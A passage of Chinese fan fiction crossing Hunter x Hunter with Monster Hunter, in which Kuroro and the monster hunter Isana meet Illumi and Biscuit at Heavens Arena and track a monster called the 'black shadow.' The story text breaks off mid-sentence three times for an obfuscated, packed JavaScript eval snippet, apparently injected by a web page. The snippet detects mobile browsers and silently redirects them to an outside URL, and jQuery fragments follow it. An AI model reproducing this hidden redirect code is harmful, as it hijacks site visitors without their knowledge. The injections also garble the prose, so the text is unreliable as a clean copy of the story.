他流畅地穿梭在人群之中,思考下一步该到什么地方动手打破局面,而就在这时—— “咦?” 熟悉的声音在一旁响起,只见伊萨纳站在路旁,像是感到愉快般扬着眉毛看向他——准确来说是他身后的某处。 “这么一会儿工夫,库洛洛,你交到朋友了?” 朋友? 少年顿了一下,随后同样转过头,看向自己身后。 那个暗杀者不知何时已经放弃了隐藏,此刻正站在街边的阴影里,玻璃球般无机质的视线投射过来。 意外的是,那是个看上去年纪比他还小两岁的孩子。 披散着一头乌黑长发,和几乎可以用秀丽来称呼的白皙面容。 几乎看不出性别……不,不如说看不出是人还是人偶。 “你。”人偶看的人是伊萨纳,语气中毫无感情,“目标也是狩猎附近森林里的怪物吗?” 伊萨纳眨了下眼,先是看了眼库洛洛,见后者摇头表示自己不认识这个孩子后,干脆走上前去。 然后半蹲下来,与那孩子平视。 “……” 就这样无言的对视了一会儿,他开口问:“你是人类吗?” “我是人类。” “那你叫什么名字?” “第二个问题开始,每个需要付费一百万戒尼,不支持赊账。” “这孩子好有趣。”伊萨纳微微睁大眼睛,就像是发现了什么珍稀的环境生物,转头看向库洛洛,“你从哪里遇到的?他想成为怪物猎人吗?” 这个人没救了。库洛洛淡淡微笑着心想。 “我要狩猎附近森林里的东西。”人偶一样的孩子说,“所以,如果你也一样,我就退出。” 伊萨纳愣了一下,才明白其中的因果逻辑:“你觉得在狩猎上抢不过我,所以要放弃?” 男孩没有回答。 “哦对,一个问题一百万……值小半头眠鸟。”伊萨纳想了想,从斗篷下拿出一个小瓶,“用这个交换可以吗?” 瓶身微晃,里面不知道是液体还是黏菌的东西正在发出淡绿色的美丽荧光。 “这是什么?” “碎龙的发光黏菌,小心点,遇热会发生爆炸。” 男孩思考了几秒,突然掏出一部颇为先进的手机,打了个电话。 “是我。”他说,“帮我查一下碎龙的发光黏菌的市价……大概20毫升。” 过了没十几秒,通话结束。 “在我查验真伪之前,暂时算值一个问题。”他看看向伊萨纳,“你要问什么?” “只能一个,那就告诉我你的名字吧。” “伊尔迷。”男孩说。 “姓氏呢?” “姓氏是另外的价钱。” 伊尔迷理所当然地道。 14.第十四章 虽然伊尔迷没有对他们说出姓氏,但库洛洛内心多少有些猜测。 专精暗杀的念能力者可能很多,但年纪这么小还身手不凡的就另当别论,一定是经过长久系统性训练的结果。 而且,能知道自己和伊萨纳是为了狩猎而来,也就是说至少从他们来到这座城市起就已经被观察着。 比起这孩子一个人做了所有的事,他更倾向于对方有特殊而庞大的情报网,一个强大、情报力能强、连小孩都是精锐杀手的暗杀者组织。 几个关键词放在一起,不难联想到巴托奇亚共和国那鼎鼎有名的揍敌客家。 唯一需要考虑的是,他们让成员去狩猎大型怪物的理由暂且不明,但无论如何,这个结论应该不会变——实际上他有其他更具说服力的理由。 不过这些内容,出于某种类似报复的心理,库洛洛没有和伊萨纳说。 “难得来一趟,不参加狩猎也太可惜了。” 年轻的怪物猎人想了想,然后站起来,拍了下库洛洛的肩膀,对伊尔迷道。 “这样吧,我不会参与狩猎‘黑影’,但是我的同伴会去,你们之间竞争我不会干涉,当然前提是你不可以直接对他下手。” 库洛洛:……? 算了,其实从看到伊萨纳对这个暗杀者小孩展现出兴趣的时候,他就预料到事情会变成这样。 伊尔迷敲了下手心:“这样就好办了。刚刚的对话我已经录音保存,如果你违约的话我们这边也是有相应的违约金赔偿标准的。” “嗯?啊……好?” 讲起钱的事,话就一下子变多了。 话音未落,伊尔迷就瞬间消失在两人眼前。 “走掉了。” 伊萨纳喃喃着,然后就看到库洛洛转过身,漆黑的双眼直勾勾看向自己。 这是要个说法的表情。 一般出现在伊萨纳搞砸了晚饭,或者沉浸在狩猎里上了头,忘记原本的目的地的时候。 “别这样,竞争是进步的良药,”伊萨纳努力组织着语言,“而且放心吧,我还不想找其他的同伴(艾露猫)。” 库洛洛叹了口气:“那种漂亮话就不用说了,你招惹了麻烦的人,请告诉我理由。” “因为我想看看这个时代顶级暗杀者之间的对决。” ……什么意思?另一个暗杀者指的总不可能是他。 少年看向伊萨纳,而后者只是忽然像想起什么般,竖起一根食指。 “你看这样如何,”青年说道,“在这次的狩猎结束后,不管你有没有胜利,我都会送你一个你一直想要的东西。” 那语气,简直就像是家长在对孩子说过节可以买一个礼物补偿你似的。 然而唯独这次,库洛洛没有因为对方将自己视为孩子而不快。 他只是若有所思地点了下头。 “那就成交。” 其实对奖励一点兴趣也没有。 但库洛洛对伊萨纳口中自己“一直想要的东西”很感兴趣。 因为实际上,就连他自己也不知道自己想要什么。 “走吧。”伊萨纳说,“中午了,找地方吃个饭,然后我们去天空竞技场。” “要报名参赛吗?” “我们当然不是去供人娱乐的,你也不需要来这里累积经验。” 怪物猎人说着,看向天空竞技场的高层。 “‘黑影’最初出现的地方,就是竞技场的234层。” —— ———— 一段时间后,天空竞技场,第234层。 身穿印有拳头图样制服的工作人员站在门口,奇怪地看了眼坐在看台边缘的两人。 披着黑色斗篷,一身旅行轻装的青年,还有黑发黑眼的少年。 工作人员对自己的记忆非常有自信,对人脸更是能做到过目不忘的地步,却没印象这两个人是什么时候检票,又是什么时候进入场地的,于是通过对讲机问了问在客梯间里工作的同事。 “黑头发大人带着黑头发小孩?一天可能无数个这样的组合上楼,你找茬吗?” 同事愤怒地挂断了通讯。 算了,至少看上去都很和善,应该不是什么危险的组合。 工作人员这样安慰着自己,不再去管。 另一边,看台角落。 “看样子他放弃了。”伊萨纳单手撑着下巴,“真没毅力。” “这里是两百层以上的工作人员,”库洛洛盯着格斗场地,“每天面对这么多念能力者,也有基本的直觉能辨别出谁可以得罪。” “其实如果他真的过来问,我也会说实话的。” “什么实话?我们没买票的实话?” “……我已经把钱放在前台了,所以要说的只是我们是从楼外面上来的这一点。” 比起陡峭的悬崖甚至冰壁,天空竞技场算得上相当好走,两人花了不到十分钟就到达了相应楼层,从窗户翻了进来。 “没人会信的。”库洛洛说。 “哈,也是。” 234层的格斗场地已经被修补完毕,只有和周围略有色差的一面墙壁昭示着曾经发生的恐怖事件。 而观众们就像什么也不知道般,继续观看格斗。 消息被一定程度上封锁了,对于这种世界级的景点,当地,乃至巴托奇亚共和国,估计都不会允许这种丑闻传出去,影响到营业。 没过多久,随着落座完毕,格斗场上的战斗正式开始。 这一层的楼主是个肤色棕黑的男人,使用木桩作为武器,而他的对手则是手拿长刀。 库洛洛用凝细细观察着二人。 “感觉如何?”伊萨纳问。 “这个楼主的念能力,和绞蛇龙的鸣甲很像,”他想起自己狩猎过的怪物,“都是用掷出的东西干扰敌人判断,实际上是延迟引爆的类型。他扔出去的木桩,瞄准的都是对方刚刚才过的地面,估计是有相应限制的能力。” 不过,人类和四十米长的蛇龙种怪物比起来,还是太小了。 绞蛇龙杀不死他,这个人当然也不能。 “但他的对手看上去要输了。”库洛洛补充。 那人明显对念能力战的经验不足,现在还没有注意到木桩的落点规律。 “我不是问这个,”伊萨纳压低声音,稍微凑近了些,意有所指,“他的念能力,对你狩猎‘黑影’有帮助吗?” “……” 库洛洛愣了一下,在那个瞬间,周围其他观众们的起哄声都仿佛变得遥远。 然后,他缓缓转过头。 “你是……什么时候发现的?” 明明他从来没有在伊萨纳面前展示过自己的能力。 “好歹是一起旅行了两年,对我的观察力有点信心吧。”怪物猎人喃喃着,“而且怎么说呢,我们的能力本质很像。” 很像? 虽然旅行了这么久,但库洛洛至今没能看出伊萨纳能力的本质,这人只在当年对付影蜘蛛的时候短暂地为了隐藏身份使用了一下。 他曾经猜测是具现化系的武装,不过既然对方这么说,又感觉不像了。 不,比起这些…… 少年顿了顿,问道:“你没有别的要说吗?” “什么?” “关于我在夺取他人的念能力……这件事。” “单从一种生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273445|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存方式来说,我认为这没什么奇怪的,”伊萨纳没有直接回答,“而且,哪里的法律都没有规定不能盗取念能力。” 法律。 又是这个词。 难道法律不允许,就会变得不认同?真是越来越奇怪。 比起能力被看出来的事,少年心里升起了另一种更为复杂的焦躁。 不能急。 还不是揭穿这件事的时机。 他压下胸口泛起的情绪,轻轻叹了口气。 而与此同时,场上也分出了胜负。 棕黑色皮肤的楼主再一次取得胜利,而他的对手已经倒在了一片血泊之中。果不其然,那个与木桩有关的念能力,本质上是通过钉住对方的脚步,来达到大幅拖延对手行动速度的目的。 估计有着极为苛刻的条件,但只要在关键时刻发动一次,就足以置人于死地。 “因为这个,他大概每次都得杀掉对手吧。”在周围观众们暴发出的沸腾欢呼声中,伊萨纳喃喃道,“如果被人说出去,就没办法再赢下一场了。” “嗯,”库洛洛站了起来,“我先走了。” 夺取能力必要的条件之一已经满足。 而且,这里很吵。 接下来,伊萨纳去询问工作人员有关“黑影”的情报,而库洛洛则是走向选手休息室的方向。 以他目前的实力,绕开保安不是难事。 来到休息室前,他从门缝看到了正在喝水擦汗的楼主,对方身上还染着未干涸的血迹。 阴影中,少年的手里浮现出漆黑的书本,周身略显沉重的气质也紧跟着做出改变,他一下子变得像是个普通十四岁少年那般,双眼充满憧憬,略显紧张。 然后,敲了敲门。 他放弃了一切风格,甚至摒弃自我,只为了在这一时刻,将名为“人生”的向量全部专注于同一方向。 但本质上。 仅仅一言以蔽之的话—— “大哥哥,你刚刚的比赛好厉害啊!”门扉开启后,少年无害地笑着,“能给我签个名吗?” 对库洛洛·鲁西鲁来说,只是一如既往的狩猎而已。 —— 另一边。 “打扰一下。” 当234层的工作人员正在做最后的散场工作时,忽然听见耳边传来了声音。 他转过头,发现是之前那个被自己怀疑是可疑人员的青年,正在拿着一封介绍信向他问话。 “我是安保部门介绍来的猎人,请问这里遭到‘黑影’袭击的时候,你也在场吗?” “啊……是的,您请说。” …… 数分钟过后。 从格斗场地里走出来后,伊萨纳打算去找库洛洛汇合。 “之前猜出他的能力,是不是让他不高兴了。” 这样想着,青年看向旁边的自动贩卖机。 要不要买点东西赔罪?但库洛洛对这些好像也没有兴趣。除了变强和学习,他好像很少对其他什么东西表现出喜爱。 如果是艾露猫,这个时候送木天蓼就行了。 “唉……” 正思索间,伊萨纳忽然听见身后传来一道激动的纤细女声。 “呀!果然我刚才没看错。” 他转过头,看到一个扎着双马尾,穿着漂亮裙装的金发女孩满脸激动地跑了过来。 但不是冲着他,而是冲着他挂在腰间的一枚龙结晶碎片。 “天呐,小甜心!” 女孩双手放在脸侧,一脸陶醉地盯着那枚龙结晶,头顶几乎冒着粉红泡泡,仿佛全世界只剩下彼此。 “真是奇迹般的偶遇,你是从哪里来的呀?” 15.第十五章 这是什么情况? 伊萨纳缓缓往后退了两步,结果那女孩也跟着他一块往前走了两步。 不行,已经完全被龙结晶吸引住了。 见此情景,怪物猎人想了一下,将那枚挂饰取了下来。 “你很喜欢这个?那就送给你。” “哎?” 扎着双马尾的金发女孩愣了一下,然后终于抬起头,看到了伊萨纳的脸。 “啊,是帅哥。” “?” “咳,没什么,”似乎比起帅哥,对她来说还是宝石的诱惑更大些,“谢谢……等一下,不对啦!怎么就轻易送给陌生人了?这么珍贵的结晶,难道你看不懂它的美吗?” 看着伊萨纳轻飘飘的放手态度,少女反而惊讶起来。 “虽然的确很漂亮,但也就是石头吧。”伊萨纳说。 无论是他,还是库洛洛,对这些东西都兴趣不大。 然而听见这话,少女面色更惊讶了,甚至像是被激怒似的,微微睁大一双玫瑰色的眼睛。 “怎么可能只是石头?”她将结晶小心翼翼地捧在手心,“你看着光泽和质地,你看这仿佛传说中的龙结晶之地具现化出来一般的美丽色彩……” 龙结晶之地? 明明是个陌生的词,但不知为何,伊萨纳脑海里却浮现出一个画面。 那是无数朝着天空升起的,比现代城市内的大厦楼房更高的巨大结晶簇。 在昏暗的阴云下,闪烁着美丽而危险的光。 “……” 明明是没去过的地方,为什么会有印象? 伊萨纳想不起来,回过神来重新看着眼前还在喋喋不休,向他科普龙结晶之美的少女。 虽然看上去娇小,也没有特地散发出“气”,但眉眼间老练自信的气质无法忽视。 “难不成你是猎人?” “嗯?居然这么快就意识到了?”少女抱着双臂做起了自我介绍,“没错,我的名字是比司吉,比司吉·酷露佳,是宝石猎人,看在你收集的宝石很有品味的份上,就告诉你了。” “我叫伊萨纳,”怪物猎人回应道,“你刚才说这样的宝石不能送给陌生人,既然互相知道名字,就能给你了。” 比司吉愣了一下:“你真要送给我?” “嗯,作为交换,这块龙结晶的产地,以及其他相关信息,我都不会告诉你的。” 如果这真的是如此有价值的宝物,对流星街来说,根本算不上好事。 “放心吧,我们宝石猎人又不是鬣狗,看到矿物就要开采殆尽。” 比司吉明白他的意思,摆摆手。 “保护宝石的生长区也是我的责任之一,如果不方便说就算了,龙结晶其实世界各地都有,只是这块美得格外突出,啊!一定是缘分让我们相遇……” 她又开始痴迷地看着手里的结晶。 “代理师傅!您怎么在这。” 一个戴着眼镜,看上去文质彬彬的少年从路的另一头匆匆跑了过来。 他的年纪看上去和库洛洛差不多,可能稍大一些,此刻跑到比司吉身旁,然后不好意思地看向伊萨纳。 “不好意思,我师傅给您添麻烦了……” “你什么意思,为什么是以我麻烦别人为前提,”比司吉不爽地双手叉腰,看向伊萨纳,“我当然不会白拿,把银行卡号报给我,我转钱过去。” “卡号……” 伊萨纳喃喃着这个词,然后歪了下头。 “那是什么?” 好像库洛洛有提过来着,他可能有吧。 “啊?”比司吉震惊了。 “这个暂且不论,比司吉小姐,你是带弟子来天空竞技场历练的?” “……没错,在这里进行一对一的武术提升是很有效果的。”少女点点头,看向身旁的云谷,“别看他这样,像刚才格斗场里那样的对手,都不在话下了。” 云谷有些不好意思地摸了摸后脑勺。 “原来如此,猎人带着弟子。”伊萨纳喃喃着。 有点像自己和库洛洛的组合……虽然那孩子怎么也不肯跟他学就是了。 这师徒两个,关系一看就很好。 稍微有一点向往。 “那个,您能看出来吗?”云谷问,“代理师傅是猎人这件事。” 比司吉的念平时都收得很淡,能一照面就看出她是职业猎人的人非常少。 “当然,”伊萨纳点点头,“像阿祖尔(Azure)一样美丽强大的女性,我怎么会看不出来呢?” 是啊,比司吉小姐的实力,就像苍火龙(阿祖尔·拉塔罗斯)一样强大。 他脑海里浮现那头怪物翱翔天际的英姿。 “阿祖尔?”云谷不解。 “哎呀,是蔚蓝色的意思对吧。”比司吉故作害羞地捂着脸,呵呵笑着,“这么美丽的形容,你可真会说话。” 云谷则是奇怪地看了一眼伊萨纳,他总觉得这人表达的不是这个意思。 但后者只是满脸的真诚直率,在注意到云谷的视线后,忽然像是想起什么,问道: “作为龙结晶报酬的替代,我可以向你请教一个问题吗?” “‘请教’什么的不敢当,”云谷看向比司吉,见后者点头后,神色坦率道,“请问吧。” “云谷,你以后想做什么?” “咦?” 完全没想到会是这样的问题,戴眼镜的少年愣了一下。 “啊,太突然了是吗,”伊萨纳解释,“因为有一个跟我一同旅行的孩子,跟你差不多年纪,但最近越来越不清楚他的想法,所以不知道该怎么给他支持。” 原来是这样。 未来想做什么……他想成为猎人,提升武艺,但更具体的还真没有想过。 云谷陷入一阵思考,而就在这时,比司吉忽然抬起手,不轻不重地敲了一下他的脑袋。 “有同理心是好事,但你现在想这些还太早了。” 她理所当然地说着,又认真看向伊萨纳。 “我来替他回答吧。虽然多少明白你的担忧,但小孩子就应该尽情感受这个世界,该吃就吃,该玩就玩,当然,修行还是要修行的,作为大人,我们只要监督好他们不要误入歧途就足够,如果你想引导他往你的方向走,最后他也只会开始模仿你而已,那就太可惜了。” 感受这个世界…… 伊萨纳若有所思。 “我知道了,”最后他点点头,“非常感谢。” 又说了几句话后,青年就转身离开。 当他走后,比司吉立刻一改刚才认真严肃的表情,兴奋地举起那枚龙结晶,跳舞似地原地转了个圈。 “该给你起个什么名字好呢?小晶晶,还是克里斯蒂妮……” 风格跨度也太大了。云谷无奈地想着。 “不过,居然把这么宝贵的东西送出去,一定是觉得龙结晶对代理师傅的价值更大吧。” 少年人总是容易对不在乎金钱的人抱有好感。 “或许是这样,但关于那个人,我劝你还是别去想原因。”比司吉说。 “为什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280543|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”云谷不解,“他看起来没说谎。” “那倒没错,他本质应该也不坏……但是无法沟通,是思考方式的问题,”比司吉将宝石收好,“他的思考方式,和我们不太一样。” “能同时和强化系与变化系都不一样吗?” “不是那种程度的事,唉,云谷,人说到底是一种不知道自己想要什么的生物,一不留神就会跟着别人的思维跑了,所以了解自己是最困难的事。 我带着你修行,除了四大行的基础之外什么都不教你,就是不希望你在无意中模仿身为老师的我。” 说是四处修行……实际上只是听到哪里有宝石的情报就赶过去而已吧。 这我的确不会模仿。 云谷这么想了一下,没敢直接说出口。 “您说的这些我都理解,”他还是没想明白,“不过这些和那个人有什么关系吗?” “嗯,简言之,他在模仿人类。” “模仿……人类?” 一阵寒意。 早些时候被忽略的违和感重新袭上心头,云谷不由得打了个寒颤。 “是的。” 比司吉看向窗外,云层在眼前浮动。 “从这一点来说,如果他那个‘同行的朋友’是个普通人,还真是可怜。不过这些都跟我们没关系就是了……走吧,一会儿该给尼特罗会长打个电话了。” 说什么“你正好在附近,干脆去帮老夫看看那个怪物猎人是什么样的人”。 比司吉在心里不满地腹诽。 真是会使唤人的老头。 —— ———— 没过多久,与库洛洛汇合的伊萨纳,带着他来到城市的郊外。 走到有着人工痕迹的道路尽头,这里是一片断崖,几乎是垂直向下,比之前原生林的悬崖所在的位置还要高,下面满是郁郁葱葱的森林。 风很大,给人一种不小心就会被卷下去的不安全感。 “根据情报,‘黑影’就栖息在这片森林里,基本上只有夜晚会出来行动,”伊萨纳眺望着眼前的景色,“不过根据眼睛会拖曳出流星一样猩红的光这一点,它的真实身份已经能锁定在很小的范围内了,早点开始调查也可以。” “我知道了。”库洛洛说,“但讨伐队被袭击的地方是距离这里十几公里外的山路,附近也没有翼龙,我们从哪下去?” 伊萨纳笑而不语。 这个表情……是什么意思? 少年心里有种不妙的预感。 “我们从哪……” 库洛洛这次还没问完,忽然,伊萨纳抓住他的手。 后退一步,然后,向前四步——起跳。 一瞬间,耳边什么声音都没有。 极端的寂静。 紧接着,世界在眼前颠倒。 时间仿佛变得极度缓慢,随后,强烈到难以忍受的失重感席卷而来,风声伴随着惊人的压迫感,在耳边呼啸而过。 几乎是自杀行为。 这是不正常的,应该挣脱然后逃走。 但是不知为何,库洛洛不想放开。 或许是因为被眼前的景色俘获了神智也说不定,有那么几秒,眼前尽是广大的天空。 蔚蓝的,蔚蓝的,无尽的蔚蓝色。 全身充斥着蔚蓝。 “别紧绷着脸了,库洛洛。” 尽管风声很大,他还是听到了那人随和的声音。 “你没必要感到恐惧,也不需要敬畏什么东西。” “尽情为这美丽的世界自豪吧!” 16.第十六章 有将近十秒的时间,在空中飞行。 然后—— “噗通!” 掉进水中。 有伊萨纳的念作为保护,冲击感并不强烈,但浑身立刻被冰冷的湖水包围,听不见声音,脚下失去着力点,连上下左右都分不清。 不知为何,他反倒升不起恐惧。 库洛洛睁开眼,看到一片扭曲的光线在闪烁。 被世界吞没,直面死亡的状态,有一种奇异的亲切感。 于是少年开始设想,如果自己真的就此死去会怎么样。 流星街在短时间内应该不会出事,因为长老们和黑/帮坐镇,再加上影蜘蛛很强,也能填补秩序的空缺。 刚开始他是这么想的。 但这两年的旅行已经让库洛洛意识到,这个世界上,比影蜘蛛强大的怪物实在有太多。 在炎热火山地区游荡的碎龙、称霸古森林的轰龙、于冻土起舞的风漂龙、还有现在他们正在调查的,栖息于树海的“黑影”…… 它们之中的每一个都比影蜘蛛强大。 而更现实的是,就算是这些怪物,如果哪个国家想要认真起来以对付它们,大概也都能轻易解决吧。 或许这世界上真的存在——曾经存在过——能凭一己之力对抗国家的怪物,但期望那样传说中的力量,也只是空谈而已。 影蜘蛛还远远不能保护流星街。 那还需要什么? 这个舞台(世界)上还需要什么角色? 【人们常常误以为自己的欲望是纯粹、自发的。 但实际上是借来的。 他们借用别人的愿望。 对这样的人来说,自我也是一种谎言。】 恍惚间,之前读的那本书的内容又浮现在脑海。 谎言。 自我是谎言,欲望也是谎言。 如果真是这样,那现在思考这些的“我”到底是什么…… 这些思考经过脑海大概仅有一两秒的时间,少年的眼睛微微睁大。 而下一瞬间,手腕被抓住,耳边掠过加速的剧烈水流声,然后他就被拉出了水面,坐在岸边。 “咳……!” 流动的空气重新进入肺部,暂停的时间也重新开始流动。 “抱歉,你还好吗?”伊萨纳拍着他的背,声音难得有些搞砸了后的慌张,“耳朵有没有进水?” 树叶遮得太严实了,他完全没想到下面是湖,虽然后面反应过来,但用念强行挡住水面只会让现在的库洛洛遭受的冲击更大,还不如消解与湖面的冲击后掉进去。 “……光虫。” 库洛洛的声音很轻,于是伊萨纳凑近了些:“什么?” “比吃你做的,涂了蜂蜜的烤光虫的时候,要好一些。” “你是想表达自己看到走马灯了吗……” 那都是一年前的事了,居然还在提,这孩子真的相当记仇。 “看起来没事,”伊萨纳松了口气,移开视线,“对了,烘干衣服和头发可以用……嗯?” 还没说完,他就发现库洛洛已经开始自主用念包裹全身,让消耗念的热量带走身上的水。 “没想到你会这个,”伊萨纳好奇道,“什么时候学会的?” “之前有一次,你钓鱼的时候。” 怪物猎人的表情一僵。 而证实了他不祥的预感,库洛洛继续道:“你有时候会突然看到什么,然后直接跳进湖里。” “那是因为看到了千年前没见过的鱼类,一时好奇就……”青年解释了两句,又觉得没什么必要,干脆直接在岸边坐下,“唉,我还以为你不喜欢鱼呢。” 果然一执着起来就没好事,他居然没发现库洛洛跟过去了。 “我的确对垂钓不感兴趣,但你在回来之后,头发经常会变得和跟现在一样。” “头发?” 伊萨纳眨了眨眼。 “你自己没发现吗?”库洛洛走上前,摸了摸他的头发,“刚用念烘干完的时候,状态就像眠鸟的绒毛……果然,连触感也很类似。” 可能还要更好些。 总算让他找机会摸到了。少年心里泛起一丝诡异的满足感。 “那你还在意我发现你能力的事,”伊萨纳没有制止,只是侧过头,有些无奈地看着他,“你自己也发现了秘密还不说,这下我们两清了。” 库洛洛愣了一下,然后难得真心地笑了起来:“你是笨蛋吗?” 这个人,做出这么疯狂的跳崖举动,居然就是因为觉得他心情不好?还说什么两清。 判断方式,天真得让人受不了。 【“你是我重要的同伴。”】 虽然偶尔会莫名觉得他口中的“同伴”另有所指。 但是至少现在,库洛洛相信这句话是真的。 “好了,”没过一会儿,伊萨纳站起来,伸手顺了顺自己的头发,“别忘了还有正事要做。” 摸上去确实和平时不太一样。 这种事,一个人旅行真的没办法发现。他心想。最近,好像也有点习惯两个人一起了。 习惯…… 这个词让伊萨纳顿了一下。 “怎么了?”库洛洛问。 “没什么,”青年的神色很快就变得一如往常,眺望起树海间的阳光,“只是在想,大概过不了几个小时就会天黑,得抓紧寻找怪物的踪迹才行。” —— 极为广阔范围内,树木和各类植物都在野蛮无序地生长,望不到边。 很难想象,如此原始的地带距离繁华城市只有十几公里的距离。 “据说这里原本要被改造成公园,作为当地在天空竞技场之外的又一旅游地标被开发,不过后来这个提案被废弃了。” 库洛洛说。 “文书记录上给出的理由是,由于当地物种过于丰富,在猎人协会的建议下被当地纳入自然保护区。” “保护?保护谁还不一定。”伊萨纳喃喃着。 “我也是这么想的。” 树海内危险的动植物过于繁多,要变成供游客随意穿行的安全区,恐怕得连带着把方圆百里的树海本身连根拔起才行。 那样风景也就毁于一旦,反而会影响到原本的旅游业,更别提随之而来的各种生态问题。 库洛洛敏锐地绕开一处会动的食肉藤木,他循着地面上只剩浅淡痕迹的车辙足迹,最后来到一片空地。 说空地其实并不准确。 因为这里原本也是深林,只是有几棵相对纤细的树木被拦腰切断了而已,只有那些需要几人合抱的巨树还勉强站在原地,但树干上也留下极深的切断型痕迹,就和躺在停尸间冰柜里的那几具尸体身上的如出一辙。 库洛洛凑近观察,发现断掉的树木上,隐约能看到一些发黑的血痕。 那几个人,恐怕就是连同树木一起被切断了。 “发现什么了吗?” 身后传来伊萨纳的声音。 “已经确定干掉了哪些佣兵的怪物种类,”库洛洛回过头,“接下来需要布置陷阱,还得收集一些素材。” “那我就不跟着你了。”青年说,“我先去之前的湖边准备晚饭……用不到光虫的那种。” 随后,伊萨纳就独自离开了树海深处。 以前都是自己出发狩猎前,去旅行团的猫大厨那里吃顿好的——毕竟一旦进入野外,就只能用野炊和补给粮食度日。 现在倒是反过来了,也是新奇的体验。 希望和当年的自己一样,库洛洛也在享受狩猎,不过那孩子的想法最近变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285065|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得越来越复杂,让人捉摸不透。 ‘怪物’的定义。 他再次想起当年的这个问题。 如果库洛洛至今仍在为这件事所困,恐怕自己也得做出行动。 不过在那之前,还是先做晚饭吧。 来到湖边,他升起篝火,用手头现有的食材开始烹饪。 过了一会儿,忽然感到身后传来一股视线。 “你从调查案发现场开始就一直跟着我们,”伊萨纳没有回头,已经猜到了对方的身份,“不自己行动试试吗?” “这样更有效率。”站在树枝上的伊尔迷理所当然地说着,“你是怎么发现我的?” 他的“绝”,已经练得很完美。 “我曾经跟一只会隐身的古龙战斗过,”伊萨纳答非所问,“它血液中特殊的金属元素能提高全身的光线透射率,那是真的无影无踪,连吹过的风都能被瞒过去,相比之下,你的气息要容易感知很多。” “哦。” 伊尔迷对此完全不感兴趣,从树上跳了下来。 “那我就不藏了。” 还以为他是容易放弃,但看来不太一样。伊萨纳有些意外。 虽然不知道专精对人战斗的杀手为什么要狩猎大型怪物,但这个叫伊尔迷的孩子毫无疑问能活下来。 甚至可能毫发无伤。 至于能不能狩猎是否成功,那另当别论。但起码他可以把损失压到最低,这对初次接触大型怪物的人来说已经非常难得……不过这还得确认一下。 “你有和大型怪物战斗的经验吗?” “……” “魔兽暂且不论,飞龙种或者鸟龙种呢?” “……” 还是不回答。伊萨纳感到一丝棘手,他可没练过读心术。 不过既然是杀手,碰巧看到安保部门的狩猎委托就大概率不可能,那个局长拿不出像样的报酬,而这孩子在见到足够的利益之前不会行动。 所以,是有其他人委托他这么做。 “说起来,我能委托你,不,是委托你们一件事吗?”伊萨纳问,“如果你有时间。” “不接受赊账。” 这种时候倒是开口很快。 “我没有钱,但只要是我能拿到的怪物素材,什么都行,你可以回去商量再做决定。” 伊尔迷无机质的眼睛盯了他一会儿,然后道:“目标是谁?” “不是那种委托。”伊萨纳说着,从斗篷下拿出一个东西,“我想知道这个的来历。” 那太简单了。 在看到那东西的瞬间,伊尔迷心想。 简单到让他一瞬间怀疑对方是不是在开玩笑,为了这个就请揍敌客家的人行动,只能说这个怪物猎人对现代搜索方式几乎一无所知。 这种程度的事都不用告知母亲,只要塞在一堆训练里,让正在学习电脑技术的糜稽动手查就行。 ……非常划算。 虽然也有被爽约的风险,但如此一来,他就能在谁也不知道的前提下,单独使唤眼前这个怪物猎人。 更何况,本来就不用付出任何东西。 “可以,”他的情绪毫无波动,“要的素材之后我再告诉你。” “嗯。”伊萨纳点点头,然后突然想起什么,“狩猎恐怕要等到晚上了,要顺便吃点东西吗?” 一头黑色长发的孩子看了眼他正在烹饪的事物,然后果断拒绝:“你水平不行。” 说完,身影就消失在原地。 “什……” 伊萨纳看着他消失的地方,愣了一下。 虽然比不上猫大厨,但他好歹也是野炊了这么多年,只要不用奇怪的食材,就都会做得很好吃的。 “居然这么挑剔,”他嘀咕着,“这孩子是哪里的少爷吗?” 17.第十七章 今晚是月圆之夜。 由于附近城市带来的光污染,显得林中夜空并未比平时更加明亮,依旧相当昏暗。 风吹动树冠,传来寂寥阴森的动静,如果凝神细听,还能听见远处城市的喧哗。 然而,很快有人打破了此地的寂静。 “快,都动作快点!” 安保部门的局长带着一支武装队伍,正在往森林深处前进。 关于“黑影”的讨伐迟迟没有突破,上面催得越来越紧,要是查下来,自己可能丢掉工作。 该死的,什么佣兵和武斗家,最近找来的都是些废物! 他咬着牙握紧了拳头。 无论如何今夜必须有个了断,如果怪物已经被狩猎,那就干掉猎人,抢走“黑影”的尸体,如果还没被狩猎,那就等那个叫伊萨纳的猎人与“黑影”两败俱伤的时候,自己再将两方同时干掉。 对付一头野兽,和一个没有猎人执照的民间猎人,这些兵力绰绰有余。 